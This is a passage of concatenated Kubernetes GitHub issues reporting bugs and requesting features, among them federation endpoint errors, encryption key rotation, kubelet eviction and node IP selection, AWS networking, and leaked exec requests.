http://111.111.111.111. the federation server shows cluster-1 is healthy, but in the logs, there is a repeating error on unable to connect to the old endpoint, http://123.123.123.123.\r \r   what you expected to happen  :\r federation controller manager should use the new endpoint\r \r   how to reproduce it    as minimally and precisely as possible :\r 1. add a cluster to federation, name it cluster-1\r 1. delete the cluster from federation\r 1. add a new cluster to federation, w/ a different api server, and name it cluster-1 as well\r 1. observe the error\r \r   anything else do we need to know  :\r \r

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r 'sort output' produced pages of irrelevant bugs.\r ---\r \r   is this a bug report or feature request?    choose one :\r \r feature request\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r   environment  :\r -   cloud provider or hardware configuration  :\r \r gcp\r \r -   os    e.g. from /etc/os-release :\r \r linux\r \r -   kernel    e.g.  uname -a  :\r 3.13.0-101-generic\r \r -   install tools  :\r \r gcloud sdk\r \r -   others  :\r \r \r   what happened  :\r \r when i run 'watch kubectl describe ingress', the order of various fields is random upon subsequent views.\r \r for example, the long list of 'annotations' changes order every single time the command is called.\r this makes \ watching\  an ingress which is changing difficult to see the changes.\r most commands i'm used to have stable outputs for their human-readable messages.\r \r   what you expected to happen  :\r \r the sort order of tables should be consistent.  for example, sorted by key.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r make an ingress, populate it with pods and services, then run\r 'watch kubectl describe ingress'\r \r   anything else do we need to know  :\r \r this is likely a consequence of using a map object in go and iterating over the output without sorting it.  that wouldn't normally be a problem, but while working with k8s, i often need to run the 'watch' command to see transient changes, and having the sort order be random is merely inconvenient.  in my experience unix tools typically have deterministic output for tables of data.\r

custom conversions can end up rotting and bite us hard. especially as our apis evolve, some may become obsolete and there is no clear way to maintain them apart from having deep knowledge of the code.\r \r for example, it's not clear to me even though i have been developing part of the deployment and replicaset apis why do we need the conversions in https://github.com/kubernetes/kubernetes/blob/master/pkg/apis/extensions/v1beta1/conversion.go at this point. is it because our generator has limitations and still can't handle specific types? we don't seem to try to maintain backwards compatibility.. we should strive to get rid of custom conversions imo.\r \r @kubernetes/sig-api-machinery-misc

 \r   what happened  :\r while following  encryption at rest guide  https://kubernetes.io/docs/tasks/administer-cluster/encrypt-data/ , the encryption key rotation isn't working. the secrets are still encrypted with the old key.\r \r   what you expected to happen  :\r the secrets will be encrypted with the new key.\r \r   how to reproduce it  as minimally and precisely as possible   :\r just follow the guide.\r \r   anything else we need to know?  :\r the cluster was installed with kubeadm v1.7.1 .\r the same issue happens when trying to remove the encryption and decrypt the secrets with the actions at the end of the guide. after disabling the encryption and putting 'identity: {}' as the first encryption provider in the encryptionconfig file the secrets still encrypted inside etcd with the old encryption key.\r \r   environment  :\r - kubernetes version: client 1.7.1, server 1.7.2\r - os: ubuntu 16.04.02 desktop\r - kernel: linux laptop 4.10.0-27-generic  30~16.04.2-ubuntu smp thu jun 29 16:07:46 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm v1.7.1

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r i want to query all the pods with  status.qosclass=besteffort  using  fieldselector .\r \r    shell\r $ curl http://172.17.8.101:8080/api/v1/namespaces/kube-system/pods?fieldselector=status.qosclass=besteffort\r    \r it returned,\r    json\r {\r     \ kind\ : \ podlist\ ,\r     \ apiversion\ : \ v1\ ,\r     \ metadata\ : {\r         \ selflink\ : \ /api/v1/namespaces/kube-system/pods\ ,\r         \ resourceversion\ : \ 92474\ \r     },\r     \ items\ :   \r }\r    \r \r it seems no pods matching  status.qosclass=besteffort . however, lots of pods are scheduled with  qosclass=besteffort . the result is quite confusing and misleading.\r \r   what you expected to happen  :\r for such unsupported  fieldselector , should return something like this,\r    json\r {\r     \ kind\ : \ status\ ,\r     \ apiversion\ : \ v1\ ,\r     \ metadata\ : {},\r     \ status\ : \ failure\ ,\r     \ message\ : \ fieldselector not supported:  xxx.xxx, xx.xx \ ,\r     \ reason\ : \ badrequest\ ,\r     \ code\ : 400\r }\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r as above.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t23:15:59z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-06-29t22:55:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r    \r - cloud provider or hardware configuration  : local\r - os  e.g. from /etc/os-release : coreos\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

right now we do not have any e2e tests for openstack, meaning that we can't be 100% sure that a pr doesn't introduce a regression  e.g. https://github.com/kubernetes/kubernetes/issues/47651 . ideally we would have access to a test openstack cluster, allowing us to test various external components such as cinder.\r \r this pr is just to collect feedback and possibly figure out what would be needed for this to be implemented. i remember hearing in a sig-storage meeting a few weeks ago about a cncf cluster that might enable this, but wasn't too sure on the details.\r \r /cc @nickrenren @k8s-sig-openstack-proposals @k8s-mirror-storage-proposals

when eviction is triggered by scarcity of inodes the functions to cleanup images  and containers  return 0 instead of the number of inodes freed.\r \r this means that if the inode threshold is ever reached and triggers eviction_manager then a pod will   always   be evicted - even if reclaimnodelevelresources succeeded in freeing up sufficient resources.\r \r here is where eviction_manager calls nodereclaimfunc:\r https://github.com/kubernetes/kubernetes/blob/2aeace402ac8dc88440eb5c0453b31dd28ca14f2/pkg/kubelet/eviction/eviction_manager.go l433\r \r here is the deleteimages function which is called and returns 0 if the resource in question is  resourceimagefsinodes  or  resourcenodefsinodes :\r https://github.com/kubernetes/kubernetes/blob/a65a24a850deb8ec48dc8fa3668f25a67de06637/pkg/kubelet/eviction/helpers.go l877\r \r n.b. inode exhaustion is very common for docker when using the overlay storage driver. \r gcloud kubernetes engine uses the overlay storage driver so this issue affects all gke users.\r \r   management

in some test cases that use fake.restclient, the setup is missing  versionedapipath  and as a result, the req path matching must match both the versioned and unversioned path.  the code would be cleaner if it is using versionedapipath.\r \r example 1:\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/attach_test.go l219\r \r /cc @liggitt

  bugs\r \r i would probably have reopened  44702 if that were an option.\r \r if i create a two-node cluster in which each node has two network interfaces and the nodes communicate via their second network interface then everything seems to work until i try  kubectl logs . eventually i realised that  kubectl get pods --all-namespaces -o wide  is showing the wrong ip addresses, as described under  44702, though in my case both nodes are getting the wrong ip address.\r \r there is a work-around, but it's tedious. on ubuntu, on each node:\r \r   edit  /etc/systemd/system/kubelet.service.d/10-kubeadm.conf  and add the line  kubelet_extra_args=--node-ip=...  replacing  ...  with the ip address that should be used for connecting to that node from another node.\r \r    systemctl daemon-reload \r \r    systemctl restart kubelet \r \r i told the master which ip address it should use by running \ kubeadm init --apiserver-advertise-address=... . that information should be propagated to  kubelet .\r \r the worker should presumably take its ip address from the connection it opened to the master.  i cannot think of a good reason why it would need its ip address before it connects. if for some not-so-good reason it does then perhaps an additional command-line argument to  kubeadm join  would be required to let the user override the silly take-the-first-non-loopback-interface heuristic. \r \r if for some reason it is really not possible to make kubernetes work correctly unless communication between nodes always goes via the first non-loopback interface  a somewhat embarrassing limitation to have to document  then there should at least be a clear error message when this condition is not satisfied rather than an obscure failure when certain features are used for the first time.\r \r i have been testing versions 1.9.1, 1.9.2 and 1.9.3 with several different network configurations.

@kubernetes/sig-docs\r hey guys i have a django rest application and every time that i expose the deployment with service, my minikube doesn't expose the ip, anyone knows how to solved it? i wait 3 hours and my minikube doesn't show any ip.\r \r pod/container log:\r \r     &lt;django.db.models.fields.related.foreignkey&gt;\r     &lt;django.db.models.fields.textfield&gt;\r     &lt;django.db.models.fields.related.foreignkey&gt;\r     operations to perform:\r       apply all migrations: admin, auth, authtoken, chat, contenttypes, notifications, sessions\r     running migrations:\r       no migrations to apply.\r     &lt;django.db.models.fields.related.foreignkey&gt;\r     &lt;django.db.models.fields.textfield&gt;\r     &lt;django.db.models.fields.related.foreignkey&gt;\r     &lt;django.db.models.fields.related.foreignkey&gt;\r     &lt;django.db.models.fields.textfield&gt;\r     &lt;django.db.models.fields.related.foreignkey&gt;\r     performing system checks...\r      system check identified no issues  0 silenced .\r     august 06, 2018 - 19:14:37\r     django version 2.0.1, using settings 'chatire.settings'\r     starting development server at http://0.0.0.0:8000/\r     quit the server with control-c\r \r backend-service:\r \r     apiversion: v1\r     kind: service\r     metadata:\r       name: backend-service\r     spec:\r       type: nodeport\r       ports:\r         - port: 8000\r           nodeport: 30001\r       selector:\r         service: backend-pod\r \r backend-deployment:\r \r     apiversion: extensions/v1beta1\r     kind: deployment\r     metadata:\r       name: backend-deployment\r     spec:\r       template:\r         metadata:\r           labels:\r            name: backend-pod\r         spec:\r           containers:\r             - name: container-backend\r               image: modalgr.azurecr.io/chatbot/backend:v1.1\r               ports:\r               - containerport: 8000\r               command:  \ /bin/sh\  \r               args:  \ app.sh\  \r           restartpolicy: always\r           imagepullsecrets:\r           - name: azure-auth\r \r \r error log:\r \r     c:\\users\\youssef\\documents\\kubernetes>minikube service backend-service | findstr ip\r     waiting, endpoint for service is not ready yet...\r     waiting, endpoint for service is not ready yet...\r     waiting, endpoint for service is not ready yet...\r     waiting, endpoint for service is not ready yet...\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.1\ , gitcommit:\ b1b29978270dc22fecc592ac55d903350454310a\ , gittreestate:\ clean\ , builddate:\ 2018-07-17t18:53:20z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r over a period of a week or so, we see apiservers grow to over 11 gb of memory.  the apiserver /metrics endpoint showed a huge number of long running exec requests:\r    \r apiserver_longrunning_gauge{resource=\ pods\ ,scope=\ namespace\ ,subresource=\ exec\ ,verb=\ create\ } 71816\r    \r and completed requests:\r    \r apiserver_request_count{client=\ go-http-client/1.1\ ,code=\ 0\ ,contenttype=\ \ ,resource=\ pods\ ,scope=\ namespace\ ,subresource=\ exec\ ,verb=\ connect\ } 837824\r apiserver_request_count{client=\ go-http-client/1.1\ ,code=\ 404\ ,contenttype=\ application/json\ ,resource=\ pods\ ,scope=\ namespace\ ,subresource=\ exec\ ,verb=\ connect\ } 357043\r    \r \r output from  ss  showed a similar number of connections from apiserver to kubelet, but only a small number of client connections to the apiserver.\r \r all the exec requests are  sh -c \ df -p | sed 1d\   and complete successfully and quickly when run from kubectl.  the 404 responses appear to be due to the client making exec requests to pods that no longer exist.\r \r we have seen multiple clusters doing this.  all clusters are at 1.10.5  though i do not know if the workload is also being run on 1.9 or earlier .  if we restart the apiserver, memory growth and accumulation of long running exec requests resumes.  the clusters in question are running customer applications, but appear to be looping through all pods in a given namespace issuing  df -p  requests every 10 seconds or so.\r \r apiserver log entries show some number of these requests completing with times ranging from 1 to at least 12 hours.\r \r   what you expected to happen  :\r \r the exec request ought to complete and the connection to kubelet closed.  on the surface, given that the client connections no longer exist, it seems that the apiserver ought to be able to terminate / cleanup a request if it really hasn't completed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r we have not been able to reproduce this problem in portable manner.  killing  kubectl exec  sometimes results in \ leaked\  exec requests, but as far as we know, the actual requests are running normally.\r \r   anything else we need to know?  :\r \r kubernetes 1.11.2 seems to have similar behavior on a much worse scale, and readily reproducable.  see https://github.com/kubernetes/kubernetes/issues/67659\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.5+iks\ , gitcommit:\ 7593549b33fb8ab65a9a112387f2e0f464a1ae87\ , gittreestate:\ clean\ , builddate:\ 2018-07-19t06:26:20z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:  ibm cloud kubernetes service\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

the cluster/update-storage-objects.sh are not maintained. it will be replaced by https://github.com/kubernetes/community/pull/2524.\r \r we still run the hack/test-update-storage-objects.sh. its invocation will be removed in https://github.com/kubernetes/kubernetes/pull/67678. we can remove the script.\r \r  /assign

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r after enforcing our users to set  ephemeral-storage  request and limit in their deployments' manifests, restarting kubelet results in evicting all pods in the respective node and we see this event for all pods:\r \r    \r \ reason\ :\ outofephemeral-storage\ ,\r \ message\ :\ node didn't have enough resource: ephemeral-storage, requested: 10485760, used: 0, capacity: 0\ ,\r \ source\ :{\ component\ :\ kubelet\ ,\ host\ :\ kube10\ }\r    \r \r   what you expected to happen  :\r previously restarting kubelet did not have any effect on our running pods. also the node has enough space, but somehow kubelet assumes there is no space available in the node.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:54:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.3\ , gitcommit:\ a4529464e4629c21224b3d52edfe0ea91b072862\ , gittreestate:\ clean\ , builddate:\ 2018-09-09t17:53:03z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r dedicated server\r    \r sudo lshw -class disk -class storage\r    -storage               \r        description: raid bus controller\r        product: smart array gen9 controllers\r        vendor: hewlett-packard company\r        physical id: 0\r        bus info: pci@0000:03:00.0\r        logical name: scsi1\r        version: 01\r        width: 64 bits\r        clock: 33mhz\r        capabilities: storage pm msi msix pciexpress bus_master cap_list rom\r        configuration: driver=hpsa latency=0\r        resources: irq:16 memory:92f00000-92ffffff memory:93000000-930003ff ioport:3000 size=256  memory:93080000-930fffff\r       -disk\r           description: scsi disk\r           product: logical volume\r           vendor: hp\r           physical id: 1.0.0\r           bus info: scsi@1:1.0.0\r           logical name: /dev/sda\r           version: 6.06\r           serial: pdnlh0brh869t1\r           size: 447gib  480gb \r           capabilities: 15000rpm gpt-1.00 partitioned partitioned:gpt\r           configuration: ansiversion=5 guid=615134a9-9ee3-4b8d-8c18-ec001c917549 logicalsectorsize=512 sectorsize=512\r    -storage\r        description: sata controller\r        product: c610/x99 series chipset 6-port sata controller  ahci mode \r        vendor: intel corporation\r        physical id: 1f.2\r        bus info: pci@0000:00:1f.2\r        version: 05\r        width: 32 bits\r        clock: 66mhz\r        capabilities: storage msi pm ahci_1.0 bus_master cap_list\r        configuration: driver=ahci latency=0\r        resources: irq:119 ioport:4058 size=8  ioport:407c size=4  ioport:4050 size=8  ioport:4078 size=4  ioport:4020 size=32  memory:93100000-931007ff\r    \r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.4 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux kube10 4.4.0-112-generic  135-ubuntu smp fri jan 19 11:48:36 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: modified version of kubespray\r \r <!-- do not edit below this line -->\r 

newservertimeout  and  newtimeouterror  allow setting  retryafterseconds  suggestions, but those suggestions do not result in  retry-after  headers.   suggestsclientdelay  extracts that value, but it is only used in a test.

users are requesting a pdf version of our docs. one request is here: http://stackoverflow.com/questions/32538276/how-to-get-a-pdf-print-version-of-kubernetes-docs  due to the costs and overhead of creating, maintaining, and providing pdfs, the current thinking is to provide a single concatenated html file that users could easily covert to pdf  for example, chrome's \ print to pdf\  option . @timstclair proposed that a script be created to perform the concatenation.  other options were searched for  without luck  and gitbook was investigated. unfortunately, gitbook has an involved process, making it an unreasonable for us to ask our users to perform  lots of setup  ie you need an account and cloning docs from the repo is required  and an .md file that specifies the content structure is needed  we would need to copy and convert our navigation tree  nav_v1.0.html  file, including making all urls absolute  .

trying to attach ebs volume. however, i get this progression in the kubelet log:      e0708 20:57:33.674745    4591 goroutinemap.go:155  operation for \ kubernetes.io/aws-ebs/vol-0e0a13f1b3a4a6dbc\  failed. no retries permitted until 2016-07-08 20:57:35.6747413 +0000 utc  durationbeforeretry 2s . error: volume \ kubernetes.io/aws-ebs/vol-0e0a13f1b3a4a6dbc\   spec.name: \ discovery1\   pod \ 8dbea8c1-454e-11e6-bd68-065b459e106f\   uid: \ 8dbea8c1-454e-11e6-bd68-065b459e106f\   has not yet been added to the list of volumesinuse in the node's volume status.  ...  e0708 20:57:35.681614    4591 goroutinemap.go:155  operation for \ kubernetes.io/aws-ebs/vol-0e0a13f1b3a4a6dbc\  failed. no retries permitted until 2016-07-08 20:57:39.681607496 +0000 utc  durationbeforeretry 4s . error: volume \ kubernetes.io/aws-ebs/vol-0e0a13f1b3a4a6dbc\   spec.name: \ discovery1\   pod \ 8dbea8c1-454e-11e6-bd68-065b459e106f\   uid: \ 8dbea8c1-454e-11e6-bd68-065b459e106f\   is not yet attached according to node status.  ...  e0708 21:04:02.483431    4591 kubelet.go:1930  unable to mount volumes for pod \ discovery1-ckodq_default 8dbea8c1-454e-11e6-bd68-065b459e106f \ : timeout expired waiting for volumes to attach/mount for pod \ discovery1-ckodq\ /\ default\ . list of unattached/unmounted volumes= db ; skipping pod      no errors other than those. there's nothing in  kube-controller-manager.log  except informational messages about bound pvs and pvcs. i also tried without using pv/pvc.  i've verified that my volume is in the same az as the node, and that the instance has iam permissions to  ec2:  .  kubernetes 1.3, ubuntu xenial.

currently kubectl describe nodes displays two things:- 1: total capacity for the node in terms of cpu and memory 2: allocated resources for both cpu and memory  what would be nice is to display the amount of free resources remaining on the node based on both cpu requests and memory requests. that would allow implementing  some alarms before the node approaches its limits. currently we would have to do the math ourselves by subtracting cpu requests from total capacity.

on aws, with vpc routing, it doesn't appear that old routes are removed.  eventually most cidrs are reused, whereupon the routes will be replace.  but if you terminate an instance and the replacement comes up before the one is removed, the old podcidr route will remain in black-hole state.

@krousey \r \r this is happening consistently across all gke 1.4->1.6 master upgrade jobs. it is not occurring for full-cluster upgrades.\r \r example log:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-container_vm-1.4-container_vm-1.6-upgrade-master/21\r \r

aws has supported internal elbs for a long time with an annotation, i just saw support for the comparable feature on azure  https://github.com/kubernetes/kubernetes/pull/45473 , and gce apparently has a comparable feature: https://cloud.google.com/compute/docs/load-balancing/internal/\r \r we should probably create a field in the service definition, seeing as this is widely supported, and deprecate  but retain the functionality of  the annotation.\r \r cc @kubernetes/sig-network-feature-requests

 \r   what happened  :\r if the cloud provider attempts to reserve an ip and it's already reserved, it should continue syncing. instead, it's returning an error and causing the service controller to retry.\r \r https://github.com/kubernetes/kubernetes/blob/862b0bc4fd0b5aa7ae9bcfd6cb5527cd54a3b301/pkg/cloudprovider/providers/gce/gce_loadbalancer_external.go l943-l949\r \r the above code only checks for 409 status code, but we need to also check for code 400. if i recall correctly, 409 happens for naming conflicts while 400 occurs for address conflicts. iirc again, this status code difference only occurs for external ip reservation.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a load balancer service\r 1. promote address to static with a random name.\r 1. cause an lb sync.\r \r  /area platform/gce

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r > kind bug\r >  \r \r   what happened  :\r i changed the host ip address, and use ''kubeadm reset'' and ''kubeadm init'', it successed as follow output coming:\r you can now join any number of machines by running the following on each node\r as root:\r \r   kubeadm join --token 99b82f.4dfbd8d922e35566 192.168.1.140:6443 --discovery-token-ca-cert-hash sha256:6e5f986986a8119b03076f14eb010bf46a09afe6c4e6811313f39dc069f26c5e\r \r we can see that it already use the new ip address 192.168.1.140\r \r then when i tried ''kubectl get nodes'', the result is:\r unable to connect to the server: dial tcp 192.168.41.134:6443: i/o timeout\r 192.168.41.134 is the old ip address.\r \r it seems everything related to kubectl can not work now.\r \r   what you expected to happen  :\r dial to the new ip address, and ''kubectl get nodes'' can print out the appropriate node information.\r \r   how to reproduce it  as minimally and precisely as possible   :\r the steps as mentioned in ''what happened'' section. \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r unable to connect to the server: dial tcp 192.168.41.134:6443: i/o timeout\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r \r - kernel  e.g.  uname -a  :\r linux master 4.10.0-40-generic  44~16.04.1-ubuntu smp thu nov 9 15:37:44 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: kubeadm\r - others:\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r \r    \r every 2.0s: kubectl describe pvc pvc-azurefile                                                                                                                                         thu feb  8 06:12:54 2018\r \r name:          pvc-azurefile\r namespace:     default\r storageclass:  azurefile\r status:        pending\r volume:\r labels:        <none>\r annotations:   volume.beta.kubernetes.io/storage-provisioner=kubernetes.io/azure-file\r capacity:\r access modes:\r events:\r   type     reason              age   from                         message\r   ----     ------              ----  ----                         -------\r   warning  provisioningfailed  8s    persistentvolume-controller  failed to provision volume with storageclass \ azurefile\ : couldn't create secret secrets is forbidden: user \ system:serviceaccount:kube-syste\r m:persistent-volume-binder\  cannot create secrets in the namespace \ default\ \r   warning  provisioningfailed  8s    persistentvolume-controller  failed to provision volume with storageclass \ azurefile\ : failed to find a matching storage account\r    \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r workaround is run \r    \r kubectl create clusterrole system:azure-cloud-provider --verb=get,create --resource=secrets\r kubectl create clusterrolebinding system:azure-cloud-provider --clusterrole=system:azure-cloud-provider --serviceaccount=kube-system:persistent-volume-binder\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign\r 

when running e2e tests on an ipv6 cluster, kube-proxy is showing errors from conntrack, when trying to delete endpoints. for example:\r \r e0425 12:22:48.879901       1 proxier.go:603  failed to delete e2e-tests-nettest-k6ngh/node-port-service:udp endpoint connections, error: error deleting conntrack entries for udp peer {fd00:77:30::5328, fd00:77:20:0:3::d}, error: conntrack command returned: \ conntrack v1.4.2  conntrack-tools : mismatched address family\ try  conntrack -h' or 'conntrack --help' for more information.\ \ , error message: exit status 2\r \r \r   is this a bug report or feature request?  :\r \r  /area ipv6\r  \r \r   what happened  :\r during the e2e test runs, errors are seen in kube-proxy, when cleaning up the endpoints. concern is that this is possibly affecting health of kube-dns  as see it restarting numberous tmes .\r \r   what you expected to happen  :\r \r no errors, when deleting endpoints.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r start up an ipv6 based kubernetes cluster, and then run e2e tests for ipv6 cases. for example:\r    \r go run hack/e2e.go -- --provider=local --v 4 --test --test_args=\ --ginkgo.focus=networking|services --ginkgo.skip=ipv4|dns|networking-performance|federation|functioning\\snodeport|preserve\\ssource\\spod --num-nodes=2\ \r    \r \r   anything else we need to know?  :\r \r in looking at the conntrack call, it appears that these are the arguments being passed in:\r    \r -d --orig-dst fd00:77:30::1374 --dst-nat fd00:77:20:0:2::4 -p udp -f ipv6\r    \r from the conntrack examples, it looks like, for ipv6, the --dns-nat option should be the ip   and port  .\r \r i'll be modifying the kube-proxy code and submitting a pr to attempt to correct this issue.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.1\r - cloud provider or hardware configuration: any\r - os  e.g. from /etc/os-release : ubuntu 16.04  any \r - kernel  e.g.  uname -a  : \r linux bxb-c2-77 4.4.0-119-generic  143-ubuntu smp mon apr 2 16:08:24 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: used kubeadm-dind-cluster to bring up kubernetes\r - others:\r mode is set to ipv6  only .\r

we should really figure out our strategy for vgo: https://github.com/golang/go/issues/24301.\r \r the most obviously disruptive changes are:\r   we're supposed to have a e.g. v6 in the import path when the major digit of the library's semver is 6.\r   we're supposed to increment that every time we break backwards compatibility.\r \r in exchange for making the needed adjustments, we'll get to throw godep/  in the trash.\r \r since the packages now will get \ published\   put in a zip file and placed somewhere for consumption , we could make a really drastic change and keep the staging directory but get rid of the repos we publish to. i'm not recommending that, just trying to give a sense for the maximum amount of change this could lead to.\r

is this a bug report or feature request?  :\r  \r   what happened  : \r when a gke node is preempted, some pods are left with an unrouteable ip.\r \r   what you expected to happen  :\r when a gke node is preempted, pods are restarted/recreated/rescheduled/etc and they continue working normally.\r \r   how to reproduce it  as minimally and precisely as possible   :\r i have already reported this issue on google's issue tracker and it has apparently been confirmed. there are detailed instructions to reproduce this problem with a test cluster:  https://issuetracker.google.com/issues/113499596\r \r   anything else we need to know?  :\r liveness probes don't fix this. the container will be restarted but the pod ip doesn't change.\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.10.6-gke.1  has been happening since 1.8 at least \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : cos\r - kernel  e.g.  uname -a  : 4.14.22+\r - install tools: n/a\r - others: n/a\r \r                       \r \r since it's an eta-less fix i'm opening this issue because i'd like to know what would be a good workaround. our current solution requires off cluster monitoring so i'd like to build something like a controller pod to detect and fix the broken pods but i'd like to check if there's a better way and listen for ideas on how to tackle this issue.\r

what would you like to be added  :\r \r the ability to instruct kubernetes to execute a job again, after it has already run once.\r \r   why is this needed  :\r \r kubernetes has scheduled jobs, and kubernetes has the ability to delete and create jobs, but no way to trigger an existing job to run again. this forces users into a more awkward workflow than necessary, for jobs expected to be triggered at intermittent intervals.

when using native networking in in aws  i.e. with options  cloud-provider=aws ,  cluster-name=<cluster_name> ,  allocate-node-cidrs=true ,  cluster-cidr=<pod_network> ,  configure-cbr0=true ,  bridge=cbr0 ,  iptables=false , and  ip-msq=false  as appropriate to  kube-apiserve r,  kube-controller-manager ,  kubelet , and  docker  , everything works except that pods, including kube-dns, can't make dns queries to the amazon provided dns server in the subnet.  that means pods can't resolve external hostnames.  it appears that the amazon provided dns server won't respond to queries with an address other than one within the subnet.  the solution to the problem is to masquerade traffic from the pod network to the amazon provided dns server in the subnet.   sudo  iptables --table nat -a postrouting -s <pod_cidr> -d <dns_ip>/32 -j masquerade   arguably this should be done by  kubelet when it is passed the  configure-cbr0  option alongside the  cloud-provider=aws  option.

